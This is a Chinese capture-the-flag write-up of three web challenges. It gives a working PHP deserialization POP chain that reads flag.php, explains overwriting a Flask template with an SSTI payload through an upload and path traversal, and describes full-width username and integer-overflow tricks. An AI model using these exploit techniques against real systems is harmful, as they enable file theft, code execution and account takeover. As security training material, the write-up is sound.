本文最后更新于 2026年2月5日 晚上
unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| <?php highlight_file(__FILE__);
class Logger { public $log_file = 'app.log'; public $message; public function log() { file_put_contents($this->log_file, $this->message, FILE_APPEND); } }
class UserProfile { public $username; public $data = []; public function __toString() { return $this->username; } }
class TemplateEngine { public $template_name; public function render() { return "Rendering " . $this->template_name; } }
class ReadFile { public $filename; public function __wakeup() { if (strpos($this->filename, 'flag') !== false) { $this->filename = 'index.php'; } } public function getFileContent() { echo file_get_contents($this->filename); } }
class FileHandler { public $source; public function __invoke() { return $this->source->getFileContent(); } }
class TaskRunner { private $task; public function __construct($task) { $this->task = $task; } public function run() { call_user_func($this->task); } }
class Middleware { public $next; public function __destruct() { if (isset($this->next)) { $this->next->run(); } } }
if (isset($_GET['data'])) { $serialized_data = $_GET['data']; try { unserialize($serialized_data); } catch (Exception $e) { echo "Error: " . $e->getMessage(); } } ?>
|
链子比较简单,上面几个类都没有用,绕过wakeup就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class ReadFile { public $filename; }
class FileHandler { public $source; }
class TaskRunner { public $task; }
class Middleware { public $next; }
$a = new Middleware(); $a -> next = new TaskRunner(); $a -> next -> task = new FileHandler(); $a -> next -> task -> source = new ReadFile(); $a -> next -> task -> source -> filename = 'flag.php'; echo serialize($a);
|
这里注意先url编码再传参
ez_upload
一个文件上传、查看页面,文件上传之后并不能找到文件,但文件查看可以读取源码app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| def index(): try: with open('templates/index.html', 'r', encoding='utf-8') as f: template_content = f.read() return render_template_string(template_content) except FileNotFoundError: try: with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f: return f.read() except: return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>' except Exception as e: try: with open('templates/error_render.html', 'r', encoding='utf-8') as f: template = f.read() return render_template_string(template, error_message=str(e)) except: return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>'
|
从这里可以发现渲染了templates/index.html,所以只需要把ssti覆盖写入即可

补充——路径穿越
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| UPLOAD_FOLDER = 'uploads'
def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('没有选择文件') return redirect(request.url) file = request.files['file'] if file.filename == '': flash('没有选择文件') return redirect(request.url) if file and allowed_file(file.filename): filename = file.filename filename = filename.replace('../', '') file_path = os.path.join(UPLOAD_FOLDER, filename) try: file.save(file_path) flash('文件 {} 上传成功!'.format(filename)) return redirect('/upload') except Exception as e: flash('文件上传失败: {}'.format(str(e))) return redirect(request.url) else: flash('不允许的文件类型') return redirect(request.url)
|
本题的目录结构大概如下
1 2 3 4
| app.py templates/ └── index.html uploads/
|
想要覆盖index.html要用到目录穿越,但是它进行了过滤
神秘商店
注册admin发现已有用户,使用全角覆盖注册

余额100,可以购买商品,增加余额(>=0)
使用整数溢出+4294967246
参考文献
C语言的整型溢出问题 int、long、long long取值范围 最大最小值「建议收藏」-腾讯云开发者社区-腾讯云